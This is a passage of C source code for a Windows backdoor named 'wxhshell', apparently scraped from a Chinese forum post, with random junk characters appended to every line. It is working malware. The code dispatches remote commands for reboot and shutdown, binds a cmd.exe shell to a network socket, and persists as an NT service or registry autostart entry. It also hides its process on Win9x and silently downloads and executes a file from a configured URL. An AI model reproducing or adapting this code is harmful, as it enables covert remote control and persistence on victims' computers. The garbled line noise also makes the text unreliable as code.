    switch(cmd[0]) { N-lkYL-%\j  
  sr8cYLm5R  
  // 帮助 ]U"94S U:)  
  case '?': { 8OgLn?"P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H;RwO@v  
    break; N7e"@Ic  
  } 03C0L&  
  // 安装 ]+X@ 7  
  case 'i': { s[UHe{^T  
    if(Install()) / m=HG^!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c38D}k^):  
    else 4?B\O`sy.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AK@9?_D  
    break; c/sC&i;%O  
    } dAuJXGo  
  // 卸载 p5G?N(l  
  case 'r': { S]+ :{9d  
    if(Uninstall()) K6R.@BMN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 41&\mx  
    else p, #o<W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P&f7@MOV.P  
    break; J{Q|mD=  
    } ~@}Bi@*  
  // 显示 wxhshell 所在路径 eio 4k-  
  case 'p': { B {>7-0  
    char svExeFile[MAX_PATH]; e%b6(%  
    strcpy(svExeFile,"\n\r"); u?C#4  
      strcat(svExeFile,ExeFile); wb0L.'jyR)  
        send(wsh,svExeFile,strlen(svExeFile),0); WlU0:(d  
    break; VVlr*`  
    } z4N*b"QF  
  // 重启 wpN=,&!  
  case 'b': { q@{Bt{$x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hj}K{20  
    if(Boot(REBOOT)) 5 sX+~Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hm*/C4B`  
    else { ?` ?)QE8  
    closesocket(wsh); nR*ryv  
    ExitThread(0); m;,N)<~  
    } mHRiugb!  
    break; PpzP7  
    } 'tH_p  
  // 关机 s%W C/ZK  
  case 'd': { ')cMiX\v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P5UL4uyl  
    if(Boot(SHUTDOWN)) :.Wr{"`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |!4K!_y  
    else { 1eF3`  
    closesocket(wsh); .6Pw|xu`Pw  
    ExitThread(0); d$1@4r  
    } ,5h)x"s  
    break; I`!<9OTBj  
    } DW[N|-L  
  // 获取shell Vh4X%b$TV  
  case 's': { BI%$c~wS  
    CmdShell(wsh); H:V2[y8\  
    closesocket(wsh); *_d7E   
    ExitThread(0); X9V*UXTc  
    break; ;>Ib^ov  
  } [MUpxOAsd  
  // 退出 u I )6M  
  case 'x': { ) AvN\sC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3ca (i/c  
    CloseIt(wsh); %WjXg:R  
    break; 1n;0?MIZ  
    } ?82xdp g  
  // 离开  R[D{|K@"  
  case 'q': { do>wwgr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GBPo8L"9  
    closesocket(wsh); rD 3v$B  
    WSACleanup(); ;@oN s-  
    exit(1); YIG~MP  
    break; xqu}cz  
        } K  &N  
  } {'NvG  
  } cQ R]le %(  
]>5/PD,wWy  
  // 提示信息 s;ls qQk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vg32y /l]S  
} b gK}-EU  
  } Po^?QVJ7  
T4Pgbop  
  return; W')Yg5T  
} m;GCc8  
k%WTJbuG<)  
// shell模块句柄 +V{kb<P  
int CmdShell(SOCKET sock) *nkoPVpC  
{ 6a~|K-a6  
STARTUPINFO si; inMA:x}cF1  
ZeroMemory(&si,sizeof(si)); +~ P2C6@G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -(;26\lE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KW pVw!  
PROCESS_INFORMATION ProcessInfo; <h0?tv]  
char cmdline[]="cmd"; rlOAo`hd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rl?_^dPx  
  return 0; ia!y!_L\'  
} g}1B;zGf  
OrY/`+Cog  
// 自身启动模式 iP ->S\  
int StartFromService(void) r@H /kD  
{ . YAT:;L  
typedef struct nFHUy9q  
{ ^ B fC  
  DWORD ExitStatus; )q8pk2  
  DWORD PebBaseAddress; K0|FY=#2y  
  DWORD AffinityMask; W}@c|d $`  
  DWORD BasePriority; aC8} d  
  ULONG UniqueProcessId; 65JF`]  
  ULONG InheritedFromUniqueProcessId; V ]lLw)  
}   PROCESS_BASIC_INFORMATION; KQ% GIz x  
{k TE He  
PROCNTQSIP NtQueryInformationProcess; z]_wjYn Z  
{EB;h\C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s+$ Q}|?u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dy%;W%  
B9jC?I |`  
  HANDLE             hProcess; vc;$-v$&  
  PROCESS_BASIC_INFORMATION pbi; B" 1c  
)Q&(f/LT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rr],DGg+B]  
  if(NULL == hInst ) return 0; /~%&vpF-L  
6H.0vN&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wDal5GJp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PUMXOTu]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *v^Jb/E315  
|6sp/38#p  
  if (!NtQueryInformationProcess) return 0; 823Y\x~>  
Q4#m\KK;i9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _{YWXRC#  
  if(!hProcess) return 0; l *(8i ^  
K_|k3^xx"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NX*Q F+  
O`IQ(,yef  
  CloseHandle(hProcess); )-I { ^(  
[Kg+^N% +  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u&Yz[)+b=g  
if(hProcess==NULL) return 0; qd ~BnR$=  
S6Q  
HMODULE hMod; -">;-3,K  
char procName[255]; u5`u>.!  
unsigned long cbNeeded; -:+|zF@f  
oM>l#><nq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~ D j8 z+^  
oGnSPI5KGC  
  CloseHandle(hProcess); w e//|fA<  
cJ= 6r :  
if(strstr(procName,"services")) return 1; // 以服务启动 $f <(NM6?  
]nn98y+  
  return 0; // 注册表启动 S%;O+eFYb  
} i &nSh ]KK  
iy.p n  
// 主模块 @alK;\  
int StartWxhshell(LPSTR lpCmdLine) {L{o]Ii?g  
{ _}Ac n$  
  SOCKET wsl; =7=]{Cx[  
BOOL val=TRUE; o q Xg  
  int port=0; 5uGq%(24  
  struct sockaddr_in door; EHJ.T~X  
( Y[Q,  
  if(wscfg.ws_autoins) Install(); m]6mGp  
L\J;J%fz.  
port=atoi(lpCmdLine); `,<BCu  
hn G Z=  
if(port<=0) port=wscfg.ws_port; ;WQve_\  
Ua: sye  
  WSADATA data; gD @){Ip  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  JYI,N  
{UI+$/v#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N)X3XTY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IVY]EkEG~  
  door.sin_family = AF_INET; Woy m/[i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); reu*53r]  
  door.sin_port = htons(port); Q~ w|#  
0 1rK8jX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q->sV$^=T  
closesocket(wsl); -$ls(oot  
return 1; 4SxX3Fw  
} q"lSZ; 'E  
-=Q*Ml#I  
  if(listen(wsl,2) == INVALID_SOCKET) { +5*95-;0  
closesocket(wsl); >1Ibc=}g  
return 1; V~3a!-m\  
} s2V:cMXFn  
  Wxhshell(wsl); L,/%f<wd  
  WSACleanup(); .W%)*&WH\  
b{&)6M)zo  
return 0; Dcgo%F-W  
d7;um<%zn  
} Se}c[|8  
j3V -LnA  
// 以NT服务方式启动 194)QeoFw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ydA8wL  
{ )m T<MkP  
DWORD   status = 0; S9y}  
  DWORD   specificError = 0xfffffff; v@L;x [Q  
U?Zq6_M&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6<QQ@5_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PJ%C N(0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4xje$/_d  
  serviceStatus.dwWin32ExitCode     = 0; *w\W/Y  
  serviceStatus.dwServiceSpecificExitCode = 0; $Ds2>G4c  
  serviceStatus.dwCheckPoint       = 0; B~ GbF*j  
  serviceStatus.dwWaitHint       = 0; ! n@KU!&k  
N =}A Z{$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 83_h J  
  if (hServiceStatusHandle==0) return; 013x8!i  
#=A)XlZMd  
status = GetLastError(); )7Wf@@R'F  
  if (status!=NO_ERROR) AQvudx)@"  
{ 6A-|[(NS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /W<;Z;zk  
    serviceStatus.dwCheckPoint       = 0; jV1.Yz (`  
    serviceStatus.dwWaitHint       = 0; |u<7?)mp  
    serviceStatus.dwWin32ExitCode     = status; ^6V[=!& H  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;*Et[}3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LU%E:i|  
    return; f.$af4 u  
  } .M%}X7  
qo bc<-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *.t 7G  
  serviceStatus.dwCheckPoint       = 0; ;4|15S  
  serviceStatus.dwWaitHint       = 0; <\^8fn   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }Zn}  
} JK5gQ3C[  
e*NnVys  
// 处理NT服务事件,比如:启动、停止 /nA{#HY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YNF k  
{ 7Ak6,BuI%  
switch(fdwControl) 5U$0F$BBp  
{ ]N?kG`[  
case SERVICE_CONTROL_STOP: ^u ~Q/ 4  
  serviceStatus.dwWin32ExitCode = 0; 0aB;p7~&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; igPX#$0XU  
  serviceStatus.dwCheckPoint   = 0; W^l-Y %a/o  
  serviceStatus.dwWaitHint     = 0; 2E'UZ m  
  { !%c\N8<>GD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )jP1or  
  } Yc?*dUV  
  return; e(t\g^X  
case SERVICE_CONTROL_PAUSE: @:#eb1 <S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NC(~l  
  break; zQd 2  
case SERVICE_CONTROL_CONTINUE: 64tvP^kp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k5pN  
  break; %* }(}~  
case SERVICE_CONTROL_INTERROGATE: 2\{zmc}G-0  
  break; uK Hxe~  
}; DB}eA N/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4H&+dR I"  
} Rima;9.Y0  
AoxA+.O  
// 标准应用程序主函数 h2d(?vOT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o>pJPV  
{ SwMc pNo  
|CRn c:  
// 获取操作系统版本 *$g-:ILRuZ  
OsIsNt=GetOsVer(); vr =#3>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +CNv l  
( a#BV}=  
  // 从命令行安装 v.qrz"98-  
  if(strpbrk(lpCmdLine,"iI")) Install(); <RL]  
(9dl(QSd  
  // 下载执行文件 DB,J3bm  
if(wscfg.ws_downexe) { zTU0HR3A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y76gJ[y jn  
  WinExec(wscfg.ws_filenam,SW_HIDE); H4+i.*T#  
} Q^")jPd  
Y}wyw8g/  
if(!OsIsNt) { G4"F+%.  
// 如果时win9x,隐藏进程并且设置为注册表启动 5r ^(P  
HideProc(); Cw&KVw*  
StartWxhshell(lpCmdLine); G"A#Q"  
} WH^%:4  
else a\*yZlXKs  
  if(StartFromService()) 5nx1i  
  // 以服务方式启动 w``U=sfmV  
  StartServiceCtrlDispatcher(DispatchTable); >^3i|PB  
else Qo|\-y-#  
  // 普通方式启动 PCtzl )  
  StartWxhshell(lpCmdLine); sFRQe]zCcP  
u>vL/nI  
return 0; X^jfuA  
}
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只看该作者 1 发表于: 2006-10-10
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